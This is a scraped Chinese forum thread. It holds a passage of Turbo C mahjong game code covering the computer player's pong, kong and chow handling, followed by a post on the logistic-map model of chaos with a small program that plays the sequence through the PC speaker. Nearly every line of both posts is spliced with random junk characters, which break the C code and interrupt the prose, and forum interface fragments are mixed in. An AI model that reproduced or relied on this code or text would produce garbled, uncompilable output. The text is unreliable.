, V8 L, \9 ?* F* t1 d1 i}4 B% k! u9 q& E  v- V4 G% p$ _
if(every==8)% Q+ L; n7 B3 C8 @0 t  k9 \/ F
{! ?  G0 ]+ \( t( Q+ B5 C8 J7 \$ Y
x1=180;
  S4 p& G: J* my1=165;3 w) G0 i! u1 o( ^" a# ~( L. t' S
fillRectangle(x1,y1,x1+20,y1+4,0);
$ l$ v, Z% j- a6 {9 @* F  K7 g; L}
8 ~8 s/ d6 x0 V. ?1 d6 G/ Q9 ?" Gif(every==9)
0 H6 Q& h  O7 _/ v  I. O{& _! J- a( C) H7 M& Y5 P) t- W
x1=200;: ^/ X9 l+ y; X, ~. o& {
y1=165;2 ~5 c9 e4 ^% a
fillRectangle(x1,y1,x1+20,y1+4,0);) x, a0 V4 k& `3 P6 J
}8 `( P& b- G+ D$ U& Z
if(every==10)
9 s. [& y, v" N: I; [2 t- o5 U{
) H% X& l6 t$ }x1=220;
2 g) E/ R: y( j3 N1 c& L7 Hy1=165;' V1 P: t& m3 {7 H$ T
fillRectangle(x1,y1,x1+20,y1+4,0);  O$ q# N" `! W- }! J
}
& Y! m7 C6 ?5 Y6 @if(every==11)5 t# I# k) p% G
{8 i# R  e, }' y2 @4 U6 A3 m
x1=240;
  |& p* q/ `7 f- {: M/ ^' L2 `y1=165;
& \9 D* W5 ]/ l% B. S6 D9 TfillRectangle(x1,y1,x1+20,y1+4,0);
7 W$ d2 P' x2 t+ H! u- [}$ _6 G  c& \$ R- q4 h/ D/ u
if(every==12)
( }9 P  ~6 P1 ?! x{( _- W! _: w; H3 H5 g5 I& d  [
x1=260;4 C; G2 Z$ g0 \) E. ~$ |
y1=165;- d, t9 |* \5 ?
fillRectangle(x1,y1,x1+20,y1+4,0);. p3 R7 ?) f4 G$ h
}! t( d; T' f! k9 }: g1 L4 P

8 k0 o  O4 c1 k& W* K5 Szz=0;  ~' R0 g$ g1 N) Y4 v/ @
every++;
/ m6 b' I  E8 T9 wz=z+20;
3 i0 t2 F9 ~: t- W0 B" g* G* }# I/ L}0 H% C& C5 v1 m- _$ [
showbmp(every);( i  C: t0 ?5 V2 t
key=keyy;
; ]9 J: P* R+ e' V7 W: Tif(keyy==ENTER)6 A* K' B; D/ m1 i, S. y/ w( n: ]
{
6 Q3 y' z. p# `* g0 {! _rgzn(every); /*********************/6 P5 M! D$ Q5 C/ y7 |! s
if(sing==1) /*如果可以乓,做相应的处理*/
+ A  a+ g! D  F  o. n$ P{ # I# q9 F& i% e  a; w3 v
kkk=0;4 z" L6 B; Q9 d( U- ?* w
kkkk=0;, m# K; C7 i  `2 _5 |; r  j
while(kkk&lt;=computer.m)
1 H3 V& b- q, @$ u3 }{5 u: ^* t" f) e3 y; p
if(computer.pp[kkk].p!=1)2 V- B) |& Q3 O8 M3 g/ b. H
{
1 n- E/ \8 X3 H9 n& ]comp.pp[kkkk].k=computer.pp[kkk].k;! O$ C0 M6 Z3 A( L
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ r; l# M% T" g. ?+ A6 Fcomp.pp[kkkk].number=computer.pp[kkk].number;
" \$ u+ O, F/ v: K: p/ @# L/ ]; j' ekkkk++;# l7 q, N+ _1 \! `
}( n/ O; ]/ v0 B0 ^5 Q" N
else
7 f6 P; a' n. {- u- s{
6 Y1 N5 A0 Q  o( `( p7 W. _" I  qm[computer.pp[kkk].number].data1=1;% S6 _; H$ F4 l  U% @  N
dwei=computer.pp[kkk].number;3 t. K2 |; M7 _4 h
computer.pp[kkk].p=0;
& o7 i; R" d. O7 ?}
' J+ \" [* i  ekkk++;: _$ W/ s6 c6 E* m' F
}
9 X* D) w  M3 R& j, [ll=0;
& [( T; T  C- P' @* Q$ {& ?0 U
  M4 P/ L; p$ R, s8 hwhile(ll&lt;3)
/ I4 Q  n2 u  i6 i% `* M{ zl=zl+20;
8 M2 W. M1 p: Y# Sbmpp(dwei); /*显示乓的牌*/
! ~0 o8 P$ w0 Z- q9 mll++;
* E3 P- B# u2 ]% m/ u}
& ]% E2 I! S8 {; w8 m0 r6 L. e+ e  i4 ~: r7 {; R( m, M
zl=zl+9600-60;
( |& u+ r$ H" d/ jkkk=0;3 [' s3 U" E- P& A5 J; i4 F
computer.m=computer.m-2;7 `  k# H% R% ^- G& I- N
while(kkk&lt;=computer.m)
2 c% O8 W2 m  T' U- W0 G{
& _( G9 y" X' b# S' h( C# ucomputer.pp[kkk].k=comp.pp[kkk].k;
. g  Y7 S  j/ s  S0 B0 f" R5 Bcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
! ~; }8 w3 R3 {  h  @computer.pp[kkk].number=comp.pp[kkk].number;
: T5 B0 B9 }1 O' l: Skkk++;) A! |# \& f3 n( g0 M1 Z+ Z
}
% k# V2 }0 G# Y. ~, G  ^ll=0;
0 p- Y- h. |7 w3 [temp=random(computer.m); /*出牌等待完善*/0 p0 p$ @9 R7 n4 B/ _
zyy=zyy+9280+20;5 D1 K, s7 n; D
showcbmp(temp);# ^+ O: @4 }# G: `3 j+ A: @
zyy=zyy-9280;
( C* K2 B7 n' C* A, o/*****/, j' z/ l/ ]+ a" J
rgznme(temp); % c- }' ~* ]+ M- B
panduan();
4 K) ^/ U0 h0 Pif(me.m==0)3 s4 R' }3 T) f; V- F
if(second==1 &amp;&amp; threes==0)
4 _, Z& I( E1 t5 Y  ]3 B- p7 M: Wprintf("you win!");6 r. _1 J9 [/ @: @- i
if(me.m==3)
5 X, m2 H  I& A% |8 F: m8 Cif(second==1 &amp;&amp; threes==1)5 k% X3 m# o( n& e) c8 X
printf("you win!");6 ^! \; c8 B  f# T6 W
if(me.m==6)* B- `& A! m) k" ?) p9 h) ?- v
if(second==1 &amp;&amp; threes==2)
! l* X1 T& ~0 X& c- F# lprintf("you win!");
4 z, G7 R/ o# U* n9 _9 D6 R3 dif(me.m==9)
5 g2 ~, m2 x/ J6 G6 T& e' [2 ~if(second==1 &amp;&amp; threes==3)( O6 R2 h# ^! Y0 @% \' n
printf("you win!");
$ V. B' k! n/ C; A5 zif(me.m==12)! ?# |. q5 {0 |
if(second==1 &amp;&amp; threes==4)
) `# [6 B; z7 ^# q7 v8 }5 tprintf("you win!");0 c9 {/ s1 o+ o) @
6 E0 a9 z6 T, v5 M% V
kkk=0;2 Q- g# ]" F% j7 a0 z
kkkk=0;# x0 j( j. A" K
while(kkk&lt;=computer.m)
6 B) h8 n: d! r8 |{
- ]# Y$ [" G1 A. g( l! Qif(kkk!=temp)
; ~& A! u# d/ g4 X7 y  t. D2 A8 i{
3 F3 v+ S* X8 P; g4 @4 p8 rcomp.pp[kkkk].k=computer.pp[kkk].k;
# m5 U3 ]8 y  {! ^; e/ v, r3 Dcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;. E0 J( c$ F9 D$ t; Z
comp.pp[kkkk].number=computer.pp[kkk].number;
5 U0 b2 D& L( I! {& G% M2 rkkkk++;. @$ n! ^! @! C( `$ E, L7 r! J
}
& {* \/ T, [/ pelse
2 w( ~+ k, C( L% U$ Z+ am[computer.pp[kkk].number].data1=1;% K0 U& |4 X( _9 \; e
kkk++;
8 C% {- b( D! ?3 z) s3 N}; @, f2 h# _/ x9 U# n- c9 N
kkk=0;, _: N4 g; E# N5 t
computer.m=computer.m-1;4 X. O+ G- c9 j- ^
while(kkk&lt;=computer.m)
1 C+ @- A, A) f0 p{
3 A: K8 }! s( q5 ~9 W) w' b! Z( A. \computer.pp[kkk].k=comp.pp[kkk].k;5 I) F* |7 P6 Z5 h3 e
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 r, k' S# T( I( [
computer.pp[kkk].number=comp.pp[kkk].number;, p3 [* n8 w6 R" S8 J6 K* i
kkk++;
* j$ l0 m/ G6 X0 n}) b% \6 w/ E6 l
fillRectangle(0,0,320,30,0);) z6 O. V% p2 [7 Q
n=computer.m;5 _- L4 q9 T7 z5 b8 f% ^3 u
ll=0;# g- I6 Q# v. ?" V" _- D
zy=0;$ h+ J7 a/ B% A  r% }) E" c
while(ll&lt;=n)* x% ~  {9 d9 f, q$ y
{3 i8 X. e, f0 o! Q! U0 |9 D
zy=zy+20;6 h( N) v- e5 q) ^
showybmp(ll);
& B5 Y/ r- W$ y0 M0 S" v  C0 i& cll++;
. e0 Q. E8 g  C}4 {6 r% ^3 ^7 u/ S" U, C
ll=0;: q0 o8 T* d2 b# `0 ~9 |+ ?& v
getch();; P( L' N# m; z/ u# V
sing=0;
( w8 U! j( C6 R/ v8 T( Jsing1=1;3 `4 t8 i+ t& C+ U
}
2 ^" |9 Q% m+ v( r* E& i6 O# k6 y$ k* U; k
if(sing==2) /*如果可以杠的做相应处理*/
3 D7 v; _% M7 Q- S, S. C{) R! p8 j# j% |+ h3 s9 Z
kkk=0;
0 b; {  T0 I  J* n$ j4 \4 Rkkkk=0;
: ~! t. E2 r* ewhile(kkk&lt;=computer.m)
' o; a" P, ~2 U  g. _+ u& [* z7 ?{
& D, g. B* t$ n! w4 J, r$ q& mif(computer.pp[kkk].g!=1): `" X; v& |! w2 J
{
3 U1 `& H5 a) q/ zcomp.pp[kkkk].k=computer.pp[kkk].k;+ T+ g" U1 M3 O1 T
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;5 A( S/ K4 w% T  V: V9 _
comp.pp[kkkk].number=computer.pp[kkk].number;
# ]% y$ f2 t" e# gkkkk++;
% o; i% q/ p) W+ Q}
+ X2 M* ^. G: O8 t9 O$ j" m% t' f! }else
& K' U$ X3 y) T" j. L9 V* O{8 E" s6 }# f! f2 R. d/ R
m[computer.pp[kkk].number].data1=1;# [. i& R% O0 }$ r# |' b, J
dweig=computer.pp[kkk].number;# r% O& I8 \" m2 D* E. _
computer.pp[kkk].g=0;
" D+ R& E& n) @}
5 a2 `+ m, X  c3 j5 k# Kkkk++;# M  ~. z/ @; T: C/ A3 c% a
}9 o3 ?9 \; N; B( h: n) i  r
ll=0;1 n8 J5 W2 i0 B. ^8 e6 z! ]
& i0 K) b5 _! Q) U2 d2 G+ f
while(ll&lt;=3)* b" N5 Y: J' \8 ?6 T8 m) C
{ zl=zl+20;
( X! G/ z. R% s: [0 t- ubmpp(dweig); /*显示杠的牌*/. y% Q# i5 x# W
ll++;; a4 I2 ~3 S# N3 w4 c' T
}
2 z9 X; e; u/ o' \/ m( V( j1 mzl=zl+9600-60;
: ^/ k/ |$ ~$ c+ a6 O5 D- Vkkk=0;2 Q# M+ Z: }6 z' z1 k1 `# W, j6 t
computer.m=computer.m-3;! c$ w6 C/ Y2 v/ w) a
while(kkk&lt;=computer.m)8 z2 [! u" H6 p. i8 W: o$ [
{5 b# _, |% w* r# D+ @: W
computer.pp[kkk].k=comp.pp[kkk].k;$ ?% a7 ]5 C) K) p, {6 G
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& v6 p: \( ^; v
computer.pp[kkk].number=comp.pp[kkk].number;
; F& u7 n9 g! y1 @9 a1 fkkk++;
) X7 H4 \% w4 Z) r3 ?" Z}
& x# D4 b5 q) C. r1 `kk=0;
* c" |) u: t3 a/ m' f5 i( M4 Kcomputer.m++; /*加一个牌的容量*/) r( a% q! E1 h) y1 @" h  Q0 l
while(kk!=1)
6 N7 M* b  [  Z7 b1 u: F5 O{$ Q5 A* p7 Z: Z
temp=random(136); /*出牌*/6 ]% q0 R9 ?* C
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
- Y8 U$ T& I% ^{
- R& Y" X5 d+ r/ e3 Ncomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
& u1 M( g* K# |computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
' _) V, u; M, }1 d% y8 `  m! l, J& xcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/+ K* p6 N! _9 x" C9 R
m[temp].data2=2; /*判断牌是谁的,2为电脑*/4 b9 H7 P, ^: @3 G
kk=1;" k; ]2 v9 x- P7 L4 c
}
" r. E) g1 ~& b}0 x6 ^" M, O! c2 m+ U0 E7 Q2 |3 b' E
comlipai();3 f! v" l0 i) U1 X+ K
temp=random(computer.m); /*出牌,等待完善*/9 u$ M/ g& X/ ], K  y
zyy=zyy+9280+20;, o) j+ q; p' J
showcbmp(temp);
6 B, h4 d! _" K! X1 f5 c2 uzyy=zyy-9280;  u8 |+ c: x7 L
/*****// b! K% ?" R, m* R; I3 v
rgznme(temp);
0 m8 k) e- y" |0 `4 Jpanduan();
9 p2 ?4 C' ~5 y' ]9 v$ }if(me.m==0)
1 \5 u& b0 X7 m) |8 v  Q: G* iif(second==1 &amp;&amp; threes==0)
" Z7 a1 s6 ]; d" W! r& u, p, uprintf("you win!");! Y# C9 j6 H) g, a  X  k; T
if(me.m==3)
0 L% v1 T3 E# M, ^& d2 p8 aif(second==1 &amp;&amp; threes==1)
+ P" h; M" D, i/ {+ ~printf("you win!");
  K  h) q' t! u) qif(me.m==6)
/ J( y; R0 b. ^( w; zif(second==1 &amp;&amp; threes==2)" p; M0 J9 d2 g4 `3 {- }/ g# E
printf("you win!");
( g8 m# C: f) k8 D: k5 Rif(me.m==9)' S/ g; o- |  G" L6 g: ~, s; m
if(second==1 &amp;&amp; threes==3)
8 O) m4 y6 W( D, F/ h9 xprintf("you win!");
" e0 \) S1 ?' j: G2 e& ~if(me.m==12)) f: V" {  U8 v( D5 [
if(second==1 &amp;&amp; threes==4)
' Z. {; u1 Z0 I9 Z3 Y' d# I' |printf("you win!");
- n9 i% m9 d5 w$ R. r. f& C$ w8 v! \  u$ N$ w5 J
kkk=0;
; y! {0 F; j' L  _/ m+ M; lkkkk=0;
$ b; c- E' a% V% v/ M  g- h+ Jwhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/+ @, g9 G6 b$ K% z/ C" P
{4 m- y$ i8 V/ D0 E
if(kkk!=temp)
. H$ B  J4 {5 ~{
  n& I1 t' J& \' g# Icomp.pp[kkkk].k=computer.pp[kkk].k;* t) B, o+ M: S8 E$ R- U* z
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 x. w) U3 K7 l' C1 t$ [% ocomp.pp[kkkk].number=computer.pp[kkk].number;
5 [0 w1 `$ n6 ^5 B; ckkkk++;: d0 U' T& u, C8 H  N
}
2 l) r' c7 W/ q7 y8 Helse
/ ?/ R2 k3 D' P6 E# _- N) n: Jm[computer.pp[kkk].number].data1=1;1 i! V3 i- L6 E( h) G6 Y, e
kkk++;
) a- v/ H- G7 {  `% f. ]}
, X9 O" y( o& Dkkk=0;
2 h* U( Q0 v2 hcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
9 [2 j! @1 Q, w8 {$ U8 B7 q' O# kwhile(kkk&lt;=computer.m) 0 L, L$ O% `! v6 T
{
. ~; ^) [0 {- {9 }1 v" Ecomputer.pp[kkk].k=comp.pp[kkk].k;  _. u% R/ s7 ~4 `; |
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- O9 c& _7 G' L, T3 b$ Kcomputer.pp[kkk].number=comp.pp[kkk].number;
* h8 A7 K( b, e5 okkk++;
$ L' I, t$ A! |. P6 u$ t  M% X}3 I5 v' X3 x/ ]1 J' c2 z; c0 S) h7 ^
fillRectangle(0,0,320,30,0);/ z' q( P( C- L( g1 N
ll=0;
' b% w& g6 C2 c% i6 E, @zy=0;) F$ T' d8 ]: {
while(ll&lt;=computer.m)
9 i- x" V& H/ M# |5 t4 B{, o' ~- Y# @. E
zy=zy+20;
! [. J% j) ^, U' U$ a# z! z, tshowybmp(ll);7 \; B7 o& E4 F$ l% ]- l( i
ll++;
# C) I0 G5 W  Z4 `}+ Z/ y" ~& m2 P
sing=0;) O. G* U6 v6 O9 e9 h1 B9 F
sing1=1;
" E5 H$ ^% l' u- W( Z& K! c}
+ d4 d& X, B; T2 O1 gif(sing==7) /*如果可以吃的,做相应处理*/
5 P. W3 m  f/ T& ?{ nn=0;
' A$ {' x- x! \! X. jkkk=0;
3 e# u; h! U; v8 a4 `0 tkkkk=0;
  r/ _' K6 [* q9 p. f6 [while(kkk&lt;=computer.m)
  p. O, X* {& n8 O. m. G8 x{
) P8 P6 K" ?! ^$ c" Jif(computer.pp[kkk].c!=1)
9 N( l. t& ]! @/ i# m& x{
! m0 p$ D: ?' b9 Q3 c4 J- h' ~comp.pp[kkkk].k=computer.pp[kkk].k;) c% n7 e2 ?' G: e
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
5 X; [3 F( `! I: U5 R) ]comp.pp[kkkk].number=computer.pp[kkk].number;
' ]) Q# ^& N4 D# Skkkk++;3 [9 a7 r2 M4 ^8 h# g  _
}
: N- R4 u" D1 R% u" L( i8 helse+ _5 k; M' K- Q0 K: |+ y, l6 ^! D' a
{
2 l: y' @2 I, z* i! z6 `m[computer.pp[kkk].number].data1=1;! h: A5 S3 b, }' u1 o* N9 Q
dw[nn++]=computer.pp[kkk].number;
5 }/ b# Y5 U2 b; {7 b- Z; [8 Ncomputer.pp[kkk].c=0;
8 u2 `  l; }- H9 l0 ^) i0 I}
5 ^8 ~8 g1 R6 w( I' P: Z+ kkkk++;
* z* q2 ~* j& c- ?& |}
' T' n# o; r% [- h9 a/ p$ r% g7 e( ?* l* ~4 u& w5 Q# c
if(me.pp[every].number&lt;dw[0]): N+ O+ e7 T0 L* B0 K) M' P( o( C4 z
{
* s* p# z: Y3 Y( q7 mdw[2]=dw[1];
! |1 Y) J3 N7 G. X7 @dw[1]=dw[0];0 [$ |6 q) W4 w' U0 U4 M* [/ e
dw[0]=me.pp[every].number;# j) W- W  U  Z8 X* P' v
}
; g: Z' n5 T( S, Y, {3 I! y: g( c' yif(me.pp[every].number&gt;dw[1])
0 U6 \3 S2 O! ~3 u- O6 a3 Z{
7 A& u- ~; @2 xdw[2]=me.pp[every].number;% ~% l( l& \$ u4 Z* ?( A& C
}
# M) I3 g% ^0 Y2 X2 r/ nif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1]): y% P7 _0 e5 H
{4 H8 i: E+ @8 J6 k6 k
dw[2]=dw[1];$ q' C& T0 U0 F- C( ?9 \
dw[1]=me.pp[every].number;( I; I- |6 k, t: b) d6 I: S
}
+ _2 U6 E4 l! p! D( ^2 d) Z& j: F6 K2 dnn=0;6 y  T7 i" n9 z
while(nn&lt;3)% `2 G% b7 `# L# ?
{ zl=zl+20;" r  V! X( w/ A# u
bmpp(dw[nn]); /*显示吃的牌*/0 g7 d  A; S# A* j+ M* {# n# f: x
nn++;4 J( e5 S% T" @) Q" b
}
* F0 W6 Y. o, C* \; H4 d! V" dzl=zl+9600-60;3 O. C4 o- E, X$ a
kkk=0;
) e+ I" e+ {' a+ m: ?computer.m=computer.m-2;% T& O7 T6 L4 h; _  I
while(kkk&lt;=computer.m)" i' e- A3 {$ w8 ]
{
$ Q6 S1 f4 j7 r& m$ R( [. d( |0 dcomputer.pp[kkk].k=comp.pp[kkk].k;
2 w1 f6 _1 V( }; N- R0 N+ Ecomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;7 }% A/ Y1 ]; C
computer.pp[kkk].number=comp.pp[kkk].number;
8 Z3 y/ p7 u5 R# |; ^; R, Ykkk++;
" V: g8 @1 x2 |3 V! T+ b' e}
) b# R- h& R3 R! c7 F$ ~. z' fll=0;
4 B: ^; I  t' vtemp=random(computer.m); /*出牌等待完善*/
5 S( ?' \, k$ O* f+ Dzyy=zyy+9280+20;1 ^3 c+ C! C6 ]3 K9 B! L
showcbmp(temp);
4 d- T) u& p7 n& p2 gzyy=zyy-9280;
2 w$ F8 x) X! q8 M) W/*****/
  ?7 U$ O. a+ U/ ]5 A0 n: drgznme(temp);
+ z" @; z. Z+ lpanduan();9 k$ _$ g* y' c% K
if(me.m==0)
+ Y+ }9 K/ r8 i1 r0 v) ?" zif(second==1 &amp;&amp; threes==0)  U8 C9 a" S+ N
printf("you win!");
$ u7 R" u9 A( D; _7 Lif(me.m==3)
3 `; k2 K9 [% I8 G3 A1 Kif(second==1 &amp;&amp; threes==1)+ j; t( s5 j0 A0 q7 X0 c" J1 P
printf("you win!");
( g( j. F, D) J) qif(me.m==6)- k0 T* i% x: t  i% U
if(second==1 &amp;&amp; threes==2)2 z, [0 l9 {0 q" ~
printf("you win!");: v) c$ ?4 i+ i5 R3 e8 O
if(me.m==9). F" z. U6 K8 E6 d9 M# d
if(second==1 &amp;&amp; threes==3)
( @: t2 j3 i! X7 ~- Iprintf("you win!");$ p4 k$ A3 r; {0 l
if(me.m==12)
8 k( v6 G* k/ K" L! [3 pif(second==1 &amp;&amp; threes==4)
" l/ s  W5 D; M+ `2 y1 _printf("you win!");7 P. W( H% A+ ~8 ?3 x# S

( o# A! K/ s2 ?& mkkk=0;
6 j( ~: {  s/ ukkkk=0;
' {0 a: t# I8 B  Lwhile(kkk&lt;=computer.m)
* W9 U. @; l3 n; A{
. M6 x6 C0 }9 d: U9 v( `5 xif(kkk!=temp)( u5 y1 l; t& f. j1 G
{8 B% v( U$ i/ y" f, W5 n# K! x
comp.pp[kkkk].k=computer.pp[kkk].k;
1 n3 J7 ~! f3 ]* }7 V$ J5 Ncomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
# K+ }# z3 c- [- Zcomp.pp[kkkk].number=computer.pp[kkk].number;# @  v  @) |* @9 q0 r
kkkk++;$ R6 J. o. N& m0 Q' U  b
}& s+ v( E4 [0 F/ }  ]& ?
else$ y2 k* @2 i0 s9 @
m[computer.pp[kkk].number].data1=1;3 i+ b& Y1 R; J" l0 x$ \' X
kkk++;
; ]  o2 ^9 [) `}
9 g$ L& ^! o5 o) K2 q7 Gkkk=0;# c/ l% {  `/ S
computer.m=computer.m-1;
2 b( Q# a7 H4 w4 H8 L3 y$ y6 B1 Qwhile(kkk&lt;=computer.m) , [  r3 M+ c& p, n
{8 l- I  _- g4 L1 Z
computer.pp[kkk].k=comp.pp[kkk].k;
* C' }( x! i3 s( ~; Wcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" c, l6 G! K/ }: O1 t" [+ F, W
computer.pp[kkk].number=comp.pp[kkk].number;
- b+ H, i9 v( b7 J% Qkkk++;
. u# Y) ?2 R, T( B' @# {6 T9 m}
& \" |  Q$ P  LfillRectangle(0,0,320,30,0);
$ h0 g5 J) X- g, n" P) G+ r+ ^  {n=computer.m;
0 ^; P6 _1 F9 \% n% B6 J8 w. ]+ \2 bll=0;8 X  s; ^  }) y' l( E$ B! g
zy=0;
$ [; z6 z) w! x( }+ I* p) Ywhile(ll&lt;=n)5 u$ I  D+ [3 W5 n2 B
{
9 `1 O' t  |9 P  w% ]1 R1 Zzy=zy+20;4 y+ D+ u. @/ M9 }
showybmp(ll);" ?0 O2 D. F0 Z' [) G, T9 w$ F' f
ll++;; y4 U7 d! o8 U3 l9 Q
}# p( r$ x7 p# ?& v; A3 P
. y* F+ ?2 T# F
getch();
+ m) C+ Y; q1 C8 gsing=0;
2 G8 l. s7 e9 Ising1=1;  ]& y  Q4 X' ]3 o4 h/ b
}  d( G1 n2 i/ X0 a- q; ~$ b- ^
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
) r7 o, E% ]: w{) q4 }0 J5 q5 `" m( Q
kk=0;
1 ^- g/ C( Q+ s- l0 vh=me.pp[every].number;/ k' I. Q: K" r6 o6 j$ |
m[h].data1=1; /*此牌已经无用*/
2 i* [+ u: \# J( i& q6 W5 ^0 y& Qif(sing1!=1)
) w2 R- a6 x% Z; {- j{
- @- O# t/ W& tzyy=zyy+9280+20;
  F) R" `8 k$ i1 @1 T4 ?- G6 [showbmpd(every);( d1 q: K2 V) a% R! d
zyy=zyy-9280;
3 `) Z# G3 S8 I% w& E# A5 D+ ]( J( T}
3 K" h4 V. P: }! Fwhile(kk!=1)% V! L- O& ^1 \
{
5 Q2 Q! @) o# c" O, z* _temp=random(136);8 a. b4 v1 ^- u8 y0 T, s7 @
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)" C+ _. a# v; I' b  T' I
{
' p' I1 N& h! T9 Wme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/1 Z' N; {+ Q4 v
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/8 w  @1 ?" d& M8 [2 b) _! I
me.pp[every].number=temp; /*第几张,用来排序*/
2 o! n' k0 z; P( e% ~8 Km[temp].data2=1; /*判断牌是谁的*/; b$ z; X/ i, n) _
kk=1;
) h4 f, X! G2 y; Q" k}
% k' H$ _$ g- s$ j/ |( Aif(kk==0) /*判断如果又选择了,就从新再选*/
. _' ]: \) X8 f# `* @. b  s& Vkk=0;
$ A5 Q6 e4 W: G  `}( g6 l( @: Y" }  j6 x2 N( h
}+ |6 P6 @" a% ]0 Z! |
sing=0;. }0 Z$ I: |% e/ x/ r2 \
sing1=0;
! I8 \" Y1 L9 jmelipai();1 I" Y. T8 I' J8 g, v
n=13;4 M% Z* }3 M; T: E; V: T
z1=54400;) [) S0 D/ C. {. u+ I. a
l=0;, w, H% V/ c; U8 `. ~' [; Y$ k
g=z;# d& D+ x. U2 r! _2 E8 y8 ~( ?
while(l&lt;n)7 M+ E8 b) ^7 Y' o. o$ v- r
{ z=0;
6 R5 M' f5 [0 N+ }# o/ Wz1=z1+20;  B' \+ r# o( F0 S1 J$ c! f
showbmp(l);+ r1 s1 B) }5 P
l++;
$ I" U& E* Z( _8 ^9 }0 m+ a" Z4 ?}
3 G3 K$ T5 N: W) b& t$ Q- cz1=0;
  h  C. |6 I/ E0 ~( Iz=g;
0 l" c9 E8 {* f) c1 _. @}* o) u0 O3 L+ p" A* v
keyy=0;
& b4 Z5 L7 c4 c! f+ f2 L# i) I) }}
5 Y# r( \! A9 c; F, r2 j( U- x  @6 {  |7 `6 r- b+ \: _% E
getch();
1 i# E7 F- W/ E$ y  O4 WOUTVGA;
7 K( L3 L) [; I- K% Y# c}
/ z6 `) v( W; \5 b: u6 `' ^+ t2 J</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
6 u6 \$ S" K6 E6 S3 o( p</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:( Z# F+ i' X9 p" C3 u3 Z# t/ u- }

. t0 h4 C& t; P7 e/ s% ~: e  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。  J. K  c  _& ]
  <FONT color=#009900>#include <DOS.H>
2 N+ B! N6 ?/ l, t% j- K  #include <STDIO.H>
7 ?4 A& A7 U$ U1 X6 D  main(){/ K4 d8 ~! e( ?- W( ~9 V4 }
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
4 \% g" t# a  Z  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
5 {- Q4 R( v- R& W0 q5 f8 R  /*i,j用于循环记数*/: W5 v( G; c0 [# w
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
* w1 k  a) l5 W6 n) `1 h  fDis=fMax-fMin;/ I8 [  q9 h. X, A; W
  for(j=1;;j++){
. D$ q+ z; k9 k  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
& v) O, f8 _' Y6 y, \* G% K1 q+ a3 ?  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/% T$ |$ A: ^/ R& T1 b
  scanf("%f",&k);
+ w5 T& K' L: R8 d( Z  if (k==0) break;
% ]4 ?4 T) V3 |* w, B  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
$ O1 t- ^0 r. ^  x=k*x*(1-x);
" t* o. p3 G4 Q# X7 [' ^  for (i=1;i&lt;100;i++){
/ `3 J; K: e2 x" s, r. c9 E. b  x=k*x*(1-x); /*计算x的值*/! U+ p- j2 l4 \$ l
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/; P! w, l3 F0 h' S7 t# m  e
  delay(1000); }: n7 i/ s4 I5 ?4 X) [( s$ @
  nosound(); }}" q/ J: h+ {3 _  v5 ]
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
: q' K) W5 ^' p4 m1 c, j& k( \不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

